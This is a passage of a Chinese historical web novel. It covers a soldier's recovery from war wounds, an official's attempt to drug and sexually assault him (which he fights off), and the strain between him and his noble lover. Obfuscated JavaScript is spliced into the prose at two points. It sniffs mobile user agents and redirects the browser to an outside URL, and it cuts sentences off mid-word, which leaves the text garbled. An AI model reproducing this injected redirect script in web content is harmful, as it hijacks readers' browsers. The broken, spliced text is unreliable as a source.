入座时,李颂拎起还没把坐垫焐热的陆颢,指着他身后的一盆兰草说:“这盆花放你身后可惜了,过来,我们换个位置。” 陆颢不知他的意图,欣然起身与他换过席位。 97.不准就是不准 席间,公仪林将那夜尸山血海的惨像从头至尾讲过一遍,又把辛南佐暴风雷霆的杀人手段渲染放大,几人无不在他恐怖、悲怆的讲述中瞪大双目。 来自世家的从未身临过真实战场的陆颢一脸震惊和慷慨,胸膛的心脏蓬勃跳动,他数次转头看向光荣负伤的陶修,目露真诚的敬佩,也数次摸向腰侧今日不便携带刀具的位置,沉声道:“大丈夫若能死在沙场也算死得其所。” 公仪鸾对南门的战况更好奇:“据说南门只有一百六十三名勇士与伊娄振明的三千人马厮杀,场面更惨烈血腥,如此悬殊的力量一直从寅时坚持到卯初,那究竟是群什么样的猛士?” 四人目光都落在陶修身上。 陶修迎着他们的目光一一看过去,很平淡地回答:“他们只是一群想活下去、想改变贱命不怕死的普通人。” 公仪鸾:“他们刀枪不入。” 陶修:“没错,他们百炼成钢,九死不悔,所以在与三千刀刃的对峙厮杀中挺到西门的援兵到了才肯倒下。”他后来去看过武元义的尸体,身中九刀,肠子无法塞回僵硬的肚里,脖上最后一刀切断喉管和颈脉,使他一句遗言都没有留下。西门如此,南门的惨烈让陶修逃避似的不敢细想。 公仪鸾又道:“听说槐序派去的八百人还未赶到南门前,葛伏大军守在紧闭的城门外无计可施,是这一百六十人以身躯直抵周军长枪,一寸一寸向后推为葛伏军拉开城门。事后清理现场时,许多长枪甚至贯穿三人躯体。” 他的话像在求证自己的描述是否属实,需要经历过几次仗的陶修给个明确答案,否则他不信一个人光凭模糊不清的信念就甘愿像串在一根线上的蚂蚱被兵器洞穿肉身。 陶修道:“这次夜袭漳南城的战场规模很小,但发生的每一幕惨烈场景都不意外,捍卫疆土城郭的每一场仗里都有无数视死如归的将士。也不必将每一个战死将士的功劳推至至伟处,他们当中有许多似我一样仅仅是为了活着、为了亲属活得更舒服一些,他们可能从未想过要成为碧血丹心的豪杰,死在沙场上的都是一个个平常的凡人。” 陶修显然将自己的军户身份放在与眼前几位大人对立的位置,这些话令在场几个高门阀出生的年轻人一阵沉默。 城楼上火把的光芒微弱颤抖,一百六十将士执剑迎光而上,剪影一样的身躯又在血雾中一具具倒下,陆颢沉浸在那夜的战斗中久久不发一言。后来他端起酒盏绕过李颂,站到陶修跟前,慨然说道:“陶兄弟这一身的伤令陆某敬佩,这一杯我敬你。” “不敢,陶修位卑,怎敢接下陆大人这杯酒。” 公仪林轻轻压下陆颢手中的酒解释道:“他脖上的伤不能饮酒,我替他喝。” “这是我敬陶兄弟的酒,和你没有相干,他喝了,我再敬你一杯,你当夜当机立断,力挽颓局,也是一功,我也敬你。” “他的酒我就喝得。”公仪林夺下他手中的酒,笑着一饮而尽,说:“别为难一个伤者了。” 这时,坐在陶修右侧的李颂开口道:“他的伤确实不宜饮酒。我见陶修的脸色比方才入席时晦暗许多,是不是坐久了体力难支?”他自然地捏过陶修手腕放到左手,细嫩修长的手指搭上右腕的脉搏,俨然一个“略通医术”的医工:“我能诊脉,待我摸摸。” 那只手确实是在摸。 李颂保养有道,差两年就要三十的人,坐在几人当中却看不出最老道,他脸堂干净,举止落落大方,尤其一嘴的胡须修剪的疏密有度长短有序,一根翘起的杂毛都看不见。 搭在陶修腕上的两指起先还老老实实,随着腕上的温热慢慢从指肚传至心窝再到他那污秽不堪的脑壳,眼中尽是陶修垂眸顺从的模样,上次见此人时就是这种感觉,这少年身上有种卑微的野性,令他久久不忘。 滑蛇似的手终于掐上陶修的腕,匀称合适,圈在指中刚好能控的程度,“陶兄弟气血亏虚,身上还有低热症状,这次吃了大亏啊。” 陶修压着怒与耻,不动声色。 李颂又得寸进尺摸向他的左腕,一本正经、经验老到:“这条伤臂静脉受损,淤血堵塞血液不畅,所以五指终日冰凉发白,凭它自己愈合就是等着它废掉罢了。” 公仪林见他说的有模有样,体会到了何谓病急乱投医:“李太仆还有看病的本领?城东的张医工说这条手臂有残废的可能,我正为此事发愁,你有什么办法没有?” “可以试试针灸。我认识一位医术了得的老医工,在他针下,昏迷一年的人都能清醒过来,陶修的臂伤刚形成不久,若早些诊治难道不比那睡了几年的人容易。” 陶修用只有李颂明白的力道猛地抽出被抓的腕,拍打整理被他碰过的衣裳,挺直脊背使神情不似方才萎靡,冷声拒绝李颂的好意:“我没事,小伤而已,不敢劳烦李大人。” 公仪鸾笑道:“有什么劳烦他的,李太仆一向热情如火,以助人为乐。他说那医工本领不赖,就一定能把你手臂治好。” 陆颢也劝了一句:“你的手要拿兵器杀敌,岂能任它自愈而不治?” 陶修推卸不掉,点头笑道:“暂且先养着,若需要,一定登门求助于李大人。” 上回就给这姓李的占了便宜,哪晓这次还没防住,在众目睽睽之下不便发作,只得任李颂在手腕上揉捏。那只稍有凉意的手指似夏日梧桐下除之不尽的毛虫,又像湿腻的长蛇,爬的人浑身又痒又恶,就是那一刻,陶修突然清醒,若旁人知道他与公仪林之间的关系,其本质和李颂玩弄男宠、侍从又有什么区别。 他如何嫌恶李颂,就是日后别人嫌弃他的样本。 一帮人直叙谈至深夜方才离去。 李颂上马车要走时,公仪林难得对他客气:“李太仆,把老医工的事放在心上,或者,你告诉我他住哪,我亲自登门去请。” 李颂忙客气道:“这事就包在我身上,等他臂上血肉长齐,任意哪天来都行。” “好,多谢多谢,李兄多费心。” 李颂放下车帘坐正身体,朝冰凉的十指哈出一口热气,自鸣得意暗暗发笑,心道:“到了我的地盘就不怕这只小狼跑掉。” 送走客人后,冰清玉润等人都在收拾狼藉的杯盘。陶修依靠在廊柱上仰望几颗明亮清冷的星辰,神色落寞。公仪林在院门外驻足看了他片刻,明白他心思深沉想的比别人多,今晚又多次提起那帮同袍的死,此刻他应该很难过。 他走进院中,伸手触上陶修的肩膀,“外面真冷啊,不进屋在这傻站做什么?”声音在空旷幽深的黑夜中尤其轻柔,像哄小孩一样。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13186997|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “槐序,要十一月了。” “是啊,还没到最冷时节。” 陶修不敢贸然提出离开这里回京口。他突然很想念冬日待在安桂药房里的感觉,闲暇时守在熬药的碳火炉子旁,抱着炉壁焐手,听器皿里草药沸腾的咕嘟声,安逸、暖和,身心更轻松。 自小起,陶修冬日御寒的衣物就很少,深冬雪寒时也是穿着单薄的棉衣,肩背没有一时因为寒冷而弯曲过,每到寒冬季节,挺拔的身姿和气质随天寒更显清寒气。 但那时的单薄衣衫,却好过此时满身厚重衣物的压身。 “我准备再待上十天就回京口去了,我在那里……” 公仪林不等他说完一口拒绝:“不准。”脸上笑意在冰冷的暗夜中凝结,漆黑的双目变得冷峻,像是换了个人,一字一句道:“没有我的允许,你不能走出这里一步,我不许。” 这还是陶修头一次从他这里感受到威严和怒火,下意识愣住,把准备跟他理论的借口都吓丢了,攒了把嘴劲,甩下一句话兀自走进屋去:“你又能拿我如何?” 公仪林立在厅堂的门外,也盯着冰冷清澈的夜空发愣,冰清玉润四人搬着碗盘从他身边一次又一次绕过,直到厅堂洒扫干净,他还一动不动站在那里。 润润是四人中最大胆的一个,怀里抱来了公仪林的披风,怯怯地仰问他:“公子,都深夜啦,你不冷吗?” 公仪林平时很少注意到几个姑娘,此刻听见清脆羞怯的声音,忽觉一阵别样的神清的感觉,转头对润润轻笑一下:“夜深你们也快些去睡吧。” 公仪林在进门前抹了一把脸,调整好脸上的笑意后推开门:“康乐,方才我的语气重了,你别恼。” “我没那么小的胸怀。”陶修正要躺下,把被子往身上一盖,闭上眼睛漫不经心回他:“我待在这里的时间没有你预想的多。” “在伤养好之前说什么都不算数。” “嗯,没错。我不会去李颂家中治伤,这一点,你别太好心,我不需要。” “李颂这人除了放荡不羁外,一向言而有信,言出必行,又不是他给我们看病,人情算在我头上。” 陶修有苦难言,无法像个弱者把今日李颂的不轨行为告诉他,不但丢面,更显自己无用,只得默默忍耐闭口不言。下次再有今日的状况发生,也顾不得公仪林的脸面,能揍就揍他一顿。 * * * 来此将近一个月,陶修的身体日渐好转,脸色比初来时中看很多。正午暖和时,常和公仪林在廊下逗弄挂了一排的笼中鸟,尤其喜欢一只叫“阿九”的鹦鹉。 “阿九”这名字是几个姑娘取的,有一回她们亲眼看见鹦鹉打喷嚏发出“啊啾”的声音,本来是个稀松平常的名字,直到那天阿八从宫中来到绒华院替蒋授打听公仪林伤养的如何。阿八才发现自己还有个“兄弟”挂在别人家的廊下,整日被一群莺莺燕燕逗来逗去。 要不是公仪右卫热情好客,在他已跨出门时又喊他回来:“阿八,刚蒸出来的枣糕,拿一块再走。”也不至于让那四位姑娘知道他就是阿九的哥哥,姑娘们捂嘴大笑,笑的花枝招展。他捏着糕恨恨地跳上马,对公仪右卫家女子如此粗俗无礼的行为很不满,丫头们太不成体统,难道平日都无人给立规矩? 98.这迷惘的人生 这一个月来,城东的张医工来过四次,给绒华院的二人换药洗伤口。 来第五趟这天,天气非常暖和,陶修倚靠在廊栏上晒太阳,公仪林在给鸟添食,冰清玉润四人则坐在长廊的另一端做女工,她们每隔一会就从针线里抬眸望向另一端,寻找两位公子不同寻常的对视。张医工被领进门时面带笑容,大声说今日陶修身上所有绑伤的布带都能拆掉。 陶修喜不自胜,匆忙起身迎接,迫不及待要拆下禁锢身体多日的累赘。 因天气暖和无风,拆布带的事就在光线明亮的廊下进行,陶修折叠双腿坐在一张干净的席上,仰头闭目露出脖子。 一圈又一圈白色布带在张医工手里轻轻解开,伤口暴露,黑色的膏药和愈合的创口触目心惊,站在一旁未被驱开的冰清玉润紧皱眉头,牙缝里发出丝丝抽气声。 张医工用煮好的草药汤擦去黑药膏,伤口才露出令人能接受的面目,“再深一点点,你这条命就没了啊,我一想到这伤就浑身发麻。” “是,庆幸我还能活下来。”话音里能听出陶修的心情非常好。 手臂上的伤口也都愈合长好,留下一处狰狞的疤痕,张医工先把他的五指曲起又撑开,如此反复十数次,“你再自己试着动动手指。” 陶修方才所有的兴奋在他试图动指的顷刻间烟消云散。他把全部力气都运在左臂上,始终无法曲起任何一根手指,这条手臂俨然已不属于这副身躯,之前对伤臂表现出的无畏态度成了个笑话。 公仪林立即注意到他变色的脸、鬓角紧张的汗珠和逐渐发红的耳朵,挥手让下人各自忙去。他跪蹲在陶修面前,用踏实沉稳的声音安慰:“康乐,别急,伤口才好,慢慢来。” 陶修转头求助于他,眼中惶惑,动动嘴又不知说什么。 “看来是必须针灸了。”张医工捋须沉思,思考要在手臂的哪几处穴位下针,“是个漫长的恢复期啊。” “只要能恢复,时间长短无妨。” “得要十来年吧!” “十年?”陶修、公仪林异口同声。 张医工皮这一下很开心,见二人吓得慌神,笑道:“我尽力而为吧,不过针灸并不像药的效用快,必然是件长久坚持的事。” 后来,因治膀耽搁住,陶修暂时没提回京口一事。张医工经常出入绒华院行医,或是陶修登门张家医馆,不知不觉又过去近一个月。年关将近,城内已有过节的气氛,每逢外出治伤,总见集市上人来人往。 公仪林按部就班进宫当值,陶修在一个又一个日落西山的时间流逝中彷徨不安,治了一个月的手臂无任何起色,在绒华院除了艰难晦涩地读书房的书籍外,另外可做的就是每日傍晚等公仪林回来。 他每日都期盼他早些回来,又在这种期盼中厌弃自己。 一日,陶修敏锐听见院门外响起马蹄声,走出房门看见公仪林和陆颢、阿八等人站在远处商讨议事后又各自离去,他惊恐地发现自己所处位置既卑微屈辱又可笑愚蠢,像笼中被饲养的阿九,像被人养在家中一无是处等着施舍感情的玩物。那一刻,他悔恨当初将与公仪林的关系走到现在的地步,既做不了曾经清澈纯粹的挚友,又无法坦然接受两人间的恋人关系。 如果没有那夜不能自已的沉沦,此时就算在绒华院养伤一年,又何惧别人的闲言碎语。他在自责、矛盾的漩涡中晕头转向,对自己发出一阵一阵的蔑视。 公仪林拎着一包温热的栗子笑吟吟走进书房时,陶修第二句就问他:“槐序,我想见见李颂认识的那位老医工。” “我昨日碰见李颂,他还问起你的手臂养的如何,我没睬他。” “下回见到,你跟他问下老医工的住处,我去试试。最好明天就给我答复。” 公仪林欲抬起他的左手查看伤势,随口问:“今日何时去的张家医馆,几时回来的?” 大概是这副漫不经心理所当然的态度有别于他从前的紧张,陶修愤然甩开公仪林的手,怒瞪着他,“不要事事都过问行不行,你不觉得在我身上太过用心,事无大小都要问一遍?我是你养在家里的什么人,把我当什么了?不要花心思,我不要你把心思放在我身上。” 这也是公仪林第一次见陶修发火,怔忡一瞬,那条可能会残废的手臂引起的心烦意乱暴躁不安,他能理解。昏暗的屋里还没点上油灯,陶修发泄怒火后的喘气声听的一清二楚,静默一阵后,公仪林假意清嗓咳嗽,缓和僵冷场面,“明天,我和你一起拜访李家。” “那就多谢。”他撂下一句不冷不热的客套话,转身回了自己房间。 两人睡在同一张床上不过七八晚,是公仪林主动提出要回自己房间睡的,他藏住一次次的欲望,借口床太小太挤不利于陶修养伤。但每日睡前哪怕一丁点事情都没有,他也要在陶修房中坐到半夜才回去。 今晚公仪林在所谓的争吵中很识趣没去打搅他,临睡前,还是不放心让司子去敲门,司子回来说:“屋内黑灯瞎火静悄悄的,我敲了三声门没有应,早就睡了啊。” 陶修并未睡,睁眼瞪着黑魆魆的房梁睡不着。半夜万物寂静时,他衣衫单薄走到院中的绒花树下,透过头顶的枯枝感受星辉的寒冽,身体浸润在冰凉透骨的黑夜里,头脑异常清醒。 他想起幼年受人唾弃的种种经历,想起几乎一直在为如何吃饱肚子去想尽办法的辛酸,想起身世不明的迷惘,但都不及今日站在书房前看着别人有一番作为、光明显赫立在他面前带来的震动大,那群士族子弟前程远大,浑身散发光芒,耀眼地刺破他的自尊,让他生出的想与另外一个男人相守的想法变得十分卑微。 手中的剑把冰冻的天地切割出清脆的声音,绒花树的枝干在冷风里“喀喀”作响,他身姿矫健,出剑如风,在一招一招凌厉的剑式里释放不安情绪。 他在星辉下舞剑的身影孤单又落寞,公仪林几次想上前拉住他,最终还是没挪开脚。 陶修在深夜的树下坐了多久,他就默默守了多久。 连关心他都不肯接受,公仪林不知道自己还能给他什么。 第三日,公仪林和陶修拜访李府。 李府位于清明门之西,城中百官府邸的聚集区域,这里是都城最繁华热闹的位置,沿路做生意的店铺密集,街道井然有序,此处也可能是大陈国最安全的位置。 李颂殷勤好客,亲自守在大门外等来客下马。客人来之前,李颂在修面和更换衣裳上花费大量时间,最终穿了身新裁制的米白色直裾衣衫,披一件洁白如雪的狐裘,宛若无瑕美玉。 当风流成性的李颂看见两位来客下马时,可把胸腔里那颗躁动不甘的心急坏了:“要是能把这一对都弄到手我就是死也无憾。” 可惜公仪林再不是初来建康的毛头小子,这两年那张稚气的脸随着他的官阶上升也跟着越发凌厉硬朗,可想不可及,能玩一玩的就只有他身边姓陶的年轻人。 李颂心歪,请来的老医工却是个实实在在的杏林,仔细翻看陶修的手臂。医工在伤臂脉搏上停留的时间足够一旁公仪林喝下六杯茶,终于说出一句令人重燃希望的话:“脉象荣而有力,不浮不沉,此类伤除了针灸外还要靠你自己多锻炼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200919|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切莫怕再伤筋脉而不敢用力。”讲了几个让病人锻炼臂力的法子,诸如手举重物日复一日锻炼,每日用蒸熟的草药裹臂熏上半个时辰,另加针灸,不出一年就能恢复如初。 李颂提出让老医工当场施针,把施针的地方准备在后院一间极为安静的房间。在公仪林为往日与李颂态度不甚和谐而生出愧疚时,李颂已压不住邪念开始对躺在床上很快就迷糊过去的陶修下手了。 房间很偏很静,屏风后面放了暖和的炭盆,熏香缭绕,老医工施针后很快被人借故喊走,陶修毫无防备躺在床上回味老杏林给的希望,感受左臂一根根长针下蚂蚁蛰咬似的细密痛感。 香炉的熏香与他喜欢的味道相差不大,闻着格外舒心,眼前陈设逐渐模样,头脑昏沉困意袭来,忽想到身在此处是客不能随意睡去,强撑意志企图从床上坐起,可右臂虚弱使不上劲,“莫不是右臂也被老医工给扎了?也废了?”这一想,倒把他在熏香作用下散去的魂魄又惊的归来三分。 困、乏、累,陶修有点扛不住,甩甩头又沉沉躺下。 床边有个模糊的男子轮廓,乌黑的头发,一身干净洁白的衣裳,陶修眼珠转动几次才在此人身上落下焦点,确信不是梦境后他试着问:“李颂?” “还能认出我?很好,我不喜欢压在身下的人一点声音都没有,那会很没意思。”李颂用劲握上陶修的手腕,发出一声舒服的叹息,这双手腕自去年握过就渴望很久念念不忘,没到手的东西总是很挠心。 “他在哪?” 李颂小心仔细拔去陶修穴位上的针,笑问一句:“听说身处险境寄希望于另外一人身上,他必是最想依赖的人,看来公仪林待你不薄,他是不是睡过你?” 陶修的右手在身侧攥拳蓄力,徒劳无益。 李颂的手抚过陶修的脸,拇指在其唇上慢慢揉弄,停留好一阵子试图探入其中,“今日赶巧,府上来了几位清客,公仪景风正和他们在厅堂坐着。” 细密的冷汗爬上额头,陶修磨动千斤重的头颅躲开这只脏手,“你要对我做的事,”他气喘吁吁,双目快要无法聚焦,还是被腕和脸上黏稠的触感恶心的清醒许多,尚能清楚分辨现在的处境,死死盯着李颂:“就不怕我杀了你?” “杀我?你是有本领,在沙场上杀多少与你一样身份的人都无所谓,但在这京城,以你的身份能躺在这张床上,你该庆幸自己长了张好看的脸,这么说吧,假如你不顺我的意,我随时以偷盗行窃的罪名让大仆把你打死,对此,公仪林毫无办法,他的真没有任何办法。” 李颂的手指挑开陶修系的一丝不苟的腰带,认认真真打量这张没有表情的脸,玩笑道:“公仪景风这混蛋为何不给你找个轻松差事,你伤成这样也不心疼?这只手废就废了,不如留在我府中,我来疼你纵你,不会让你再有拿兵器的机会,你觉得如何?” “杂碎。”后背已被虚汗浸湿,右手还是无法动弹,“华丽的衣裳下原来都藏着肮脏的事,这是不是就叫人面兽心?” 李颂眼眸一沉,抬手朝陶修狠狠打下一掌,冷笑一声:“或许该叫金玉其外败絮其中,我不过是在享人人都会享受的乐趣,谈不上人面兽心!” 衣襟在他粗暴的手下被扯开,陶修绝望地闭上双目。 李颂换了副阴冷戏笑的神色,用言语刺激挑衅:“赖在我床上不愿走的人多的数不过来,他们的顺从倒没甚意思,但你这种越是不愿不屈的,就越能挑起我的欲望,叫什么‘征服’是吧?你爱打仗的人更应该懂征服欲,床笫之事无甚区别,今日我就教教你床上的纵横驰骋。” 99.救命稻草安桂 如火灼烧的一掌把陶修打了半醒,左颊的屈辱和疼痛点燃他那么点不值一提的自尊,咬紧牙根从床上坐起,对准图谋不轨的李颂挥出重重一拳,拳音落下,他又瘫倒在床上,浑身似从冰窟拎出来颤抖不住,牙齿咬的咯吱作响,自小所受的耻辱足够多,李颂欲行的不轨之事绝对是对他尊严的践踏,让他从人堕落成公子哥的玩物。 这怎么可以,决不能让自己成为那样的人,就算死也不行! 李颂抓住陶修的头发将之拎起,声音极其温柔,小声蛊惑:“顺从我,往后就跟在我身边,我只会比公仪景风待你好!”俯过身贴近陶修脸颊,“身为汝丘的一户贱民,不要以为和公仪林有几年交情就能成为平起平坐的朋友?在我眼里,不对,在认识公仪景风的人眼中,你就是跟在他身后企图高攀的贱奴,留在我身边,我一定好好待你?” 陶修笑了一声,突然抬手掐住李颂还在他头上耀武扬威的手,猛的向后一撅,只听“咔嚓”一声骨断的脆响,李颂惨叫一声松开手,站起来退后几步。 陶修拖着松散的腰带从床上站起来,摇摇晃晃走近李颂,抓起他的断臂说:“手臂废了就废了。既然像我这样的人无论做什么都是高攀你们的狗,那我宁愿高攀公仪林。” 艰难地走到门口喘息片刻,回头警告李颂:“以后别用这种下三滥的手段对付一个刀山火海里爬出来的人,会脏了你李太仆的手,我几次忍耐你的羞辱,不会再有下一次了。” 他的步伐东倒西歪,意识浑浑噩噩,在李府庞大的院里还是摸索到拴马的地方,他翻身上马扬鞭奋蹄而去,在暮色降临的青石道上留下一串清晰的蹄声。 回京口,回大营,回庵庐,陶修想回去的愿望极其强烈,强烈到公仪林的五指几乎掐进他手臂的肉中去挽留,他抽剑欲斩臂,下了立即离开此处的决心。 公仪林紧紧握上锋利的剑刃,逼视他:“只要你敢走出院门一步,我发誓,今后我绝不会再见你。”想必是被紧张和愤怒烧昏了,立即后悔说出这句大话,脸上还挂着从李府匆匆赶回来时急出的汗。 “求之不得。” 从他指缝爬出一条一条鲜红的血,这人好会威胁。陶修把视线从他手上挪开,今日所受屈辱和公仪林的强势几乎让他的泪夺出眼眶。 “老医工有信心治好你的伤,我拿到他写的药方,不要因为意气用事耽误拿剑的手臂,哪里还有比我这里更利于你养伤的地方?说服我,我就让你走。” 还真有,他激愤的话音刚落,跑进来一个小仆急急地禀报:“公子,外面一个叫安桂的人求见。” “谁?”陶修望向门外,公仪林望向陶修。 二人掀开衣摆同时朝救星跑去。 陶修想的是今后这条手臂就交给安桂了,能治好就治好,好不了就随之任之。公仪林想的是:安桂前来都城必然是冲着陶修来,牵住安桂就能牵住陶修。 “安桂!” 安桂正仰头打量绒华院墙头上两株枯萎的杂草,都说深门大院难进,他没想到绒华院守门的门子这么好说话,麻溜溜进门通报去了。这一声喊,安桂急忙回身,院门前的灯笼下一边站着一个人,金黄色的光笼罩在他们身上,又端正又高挑,令他一时不知该先朝谁走去。 安桂把包袱往肩膀一搭,大步走到陶修跟前,眼中含笑,泪光盈盈,嘴唇紧闭说不出话,看见他恢复成这样,安桂是真的开心。那日负伤的十八勇士回江矶营后,安桂只能匆匆望上陶修一眼就忙于治伤去了,但那一眼,他看见陶修躺在床上奄奄一息,面如死灰,脖颈上缠绑的布带有厚重的血迹,他几乎觉得陶修活不下来。 终于抽出空隙去找陶修时,周石告诉他,陶修已被人接走了。 这两个月来,安桂日日都在心忧陶修的性命,终于在几日前收拾包袱说要来都城见见曾经在他手下刷溺桶的两个小伙子。 公仪林以小弟的身份朝安桂揖礼,搂着他的背感激道:“安桂,你能来找我,我太高兴了,快,我们进屋。”转头对陶修面露胜利的微笑:“哥哥,快请老友进去啊,傻愣干嘛。” 三人说说笑笑进屋,公仪林更是大笑不止:“我这小院还从未如此热闹过,尽是好友,如果张城、周石也能来就更好了,安桂,为何不把他们二人都叫上?” “周石回汝丘去了,张城,我与他不熟嘛!” “你这一路是怎么来的?” “我搭一条船行行停停耽误两天,下船后剩下的七八十里路程我一气就走过来了,生怕天黑前进不了城。” “一路辛苦。” 见到安桂,陶修把今日在李府的不痛快都抛在身后,三人围着火盆,在如春日一样暖和的厅堂里把酒言欢,挨饿受冻两日的安桂喝下六碗滚烫的枸杞老鸭汤,直到把整只鸭的骨架从嘴里都吐一遍,才拍着滚圆的肚皮歪在席上发出舒服的叹息:“真饱啊,嗝——” “年关近了,你怎么没回西海县?庵庐事情多?”陶修见他此刻酒饱饭足,安逸舒坦,跟着一块笑。 “夏天那会回过一次,就不想再费事。想到你身上的伤,有时我整夜都睡不着,决定来看你一眼定定心。此处果然有神医,公仪公子肯定下了不少功夫。” “安桂,以后就叫我景风,不必公子公子称呼,倒显生疏。陶修的命是他自己挺过来的,我能做的就是替他准备一张舒适的床。他恢复的很好,就是手臂——”说到一半,忽察觉陶修瞥来不耐烦的目光。 估计是又嫌他太上心了。 陶修慢里斯条接着说:“我的左臂可能废了,回去后要给安大哥添麻烦了。” 安桂忙把屁股挪过去,用他毕生所学在这条手臂上来回摸索,以期能突破难关达到一个新的高点,再说出令陶修放心的话,结果最后得出的结论是:“把李府老医工的药方给我,回去我负责给你敷膀子,针灸之类的我也懂,放心,包在我身上。” 公仪林小心谨慎地问:“那会不会有一种几率,就是你把手臂治的更严重。” 安桂平庸的医术大家有目共睹,平常也就能解决头疼脑热、包扎止血,所用的药方还是祖师辈传承到他手中的,他懒的多年来没有任何改进,也不肯学其他杏林大义尝毒草,估计祖传好几代的药方他能倒背如流。 他不服气地翻个白眼:“陶修是谁,是我兄弟,我能拿他开玩笑?” “晓得。怪我多嘴一问。” 安桂打第八个嗝时,在安逸松散的情绪下又想起一件事,手在胸口摸半天掏出一封信递给陶修:“汝丘带来的信,是你的。” 听到汝丘熟悉的地名,陶修和公仪林都愣了一下。 从汝丘能给陶修带来信的人只有陶舒。此刻,陶修实在想不到不识字的小妹会托人带给他带来什么不得不立即告知的大事。慌乱不安地接过又皱又破的信,因左手无法弯曲,拆信这点小事都无法做到,顿时无法冷静。 公仪林帮他掏出信纸,展平在他面前,问:“要我替你读?” 陶修拒绝了。 在他读信期间,公仪林和安桂屏气凝息注意他神态变化,直到他眉头渐渐舒展两人才松了口气。 陶修突然从信纸中抬眸对二人笑道:“是陶舒,是好消息。”难抑兴奋,把信递给公仪林,激动地嘴都有点发飘:“我要做舅舅了。” “恭贺,恭贺!”另外二人齐向他道贺。 “明年回去,会有个孩子叫我舅父,有点不可思议,第一次见面我这做舅舅的该给孩子准备什么?你们说,准备什么好?还有孩子的名字,叫什么好,男孩还是女孩?” 公仪林和安桂见他兴奋过度,只得假装陪他一起激动。安桂是个粗鲁人,生孩子的事他见得多,也不需这样开心吧,忍不住打击陶修:“你妹子家的孩子,哪轮得着你起名?你明年回去他还不会说话咧!” “小孩是几岁开口能言?如果他比别的孩子聪明,会早 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陶修可不敢说这句话,但碍于腊月还很茂盛的臭脚味,他只得认命,就是心里有点发慌。 安桂的呼噜声从公仪林的房间传出时,把隔壁的司子气的辗转反侧,公子那么馨香的屋子和干净的床铺,给一个臭脚大汉给睡了。 汝丘这封信带来的作用很大,陶修暂时忘却李府的经历,也没心思计较公仪林又挤回他的床上。熄灯之后,两人盯着黑暗中的房顶,毫无睡意。 “我会跟安桂一起走。” “我知道。有他帮你治伤,我会放心很多。” 陶修转头只能看见他黑暗中脸的轮廓,似乎很平静,“怎么突然老实了,也不张牙舞爪了?” “这几个月我看出来你的心思很重,留在绒华院并不开心,什么都不想跟我讲。今日你在李府为何突然丢下我跑了,李颂说你从医工那得知膀伤无望治好后,受了打击才跑的,可惜当时医工已经离开,否则我必问个清楚,是李颂亲自把药方给了我。” 陶修冷笑一声:“原来姓李的是这样说的?他的胆子可真大。” “你不喜李颂是不是因为我不喜他?他有没有给你找不痛快?” “你也太小瞧人了。” “康乐,你有没有想过,我们二人中,如果你肯放下背负和自尊,我们今后的路会好走很多,我能抗住所有压力?” “呵!”这声笑直往公仪林耳朵里钻,“是,你出生高门,身后有偌大的家族等你去延续命脉,他们视你为支柱、靠山,你动一下他们就跟着受牵连,我不同,一个不值一提的军户,谈自尊就跟穷人谈雅好一样可笑,让我顺服你的意愿,像女人一样每日守在这院里听外面你回来的足音,每日最值得期待的就是看你回来?不可能的槐序,穷人也有傲骨和底线,对你而言这很可笑是不是?” 似乎正踩尾巴骨,公仪林猛地坐起来急着辩解:“我从没这样想过。我不是贬低你压制你,我们总有一方要服软去屈就另一个,你留下来,我们同为朝廷效命,这个办法对你到底有多困难,为何就不肯接受?” “而后呢?你没想过要面临的来自你族人的压力?” “我管不了那么多。” “所以我才说你想的幼稚。槐序,等我离开此处,我们就不要再见面了吧!” 交谈戛然而止,万籁俱寂。 “不要见面?”这与杀人何异? 公仪林听到最后一句话,惶惶然想哭,哭这一切他无法掌控的命运,哭自身万事顺利却总在感情上备受煎熬,喜欢的人就睡在身边却遥不可及,也哭成婚明明是个人的事却拗不过族人的威胁。 他想哭但他没哭,隔了很久才冷冷地回他:“除非我死了。还有,有外甥没什么了不起的,我却是有侄儿的人。” 100.暗夜里的撕咬 安桂来之前打算待两天就走,拗不过公仪林私下百般挽留,连哄带骗就差最后一步威胁,还好安桂也想在都城过一回新春,没等公仪林威胁的话出口就爽快答应下来。 安桂的乐趣之一就是坐在从早晨至傍晚都能照到太阳的廊下看冰清玉润忙碌。那几只雀儿似的美人动作灵巧,声音甜美,踩梯子挂灯笼时,纤细的腰肢晃的安桂晕头转向。 他那口水一样黏稠的目光很不受冰清玉润待见,有公仪、陶公子两颗珠玉在前,她们不管从哪个角度都找不到把安桂看顺眼的地方。 这是公仪林从公仪府搬出来后独自过的首个元旦,非常好奇往年陶修在家中如何过新春,隔片刻就问:“你过年备些什么吃的?最爱吃什么?我让司子去买。”“你蒸甜糕吗?谁和的面?”“对联谁写的?今年你来写成不成?”“我跟你一块贴门神好不好?”……诸如此类有关过节的小问题,陶修皆老老实实满足他的好奇心。 三人去集市买下无数印象中过年时需要的东西,又让冰清玉润蒸了几锅形状各异的馒头、甜糕,从一锅锅屉笼的轻烟里感受过年的气氛。就在三人以为可以过上一个没有其他干扰且又胡七八糟的新春时,除夕晚上,公仪达把侄子喊回了公仪府。 走之前,公仪林对陶修和安桂说:“我去去就来,你们放开了吃玩,有什么需要只管对司子说。”心底期盼陶修能等他回来一起守岁。 合家团聚的除夕,公仪府的厅堂里挤满族人。公仪林刚出现在门前就被人围在中央,一来堂兄们心疼这个背井离乡独自在外为官的堂弟,二来这个堂弟走的比他们任何一人都远。 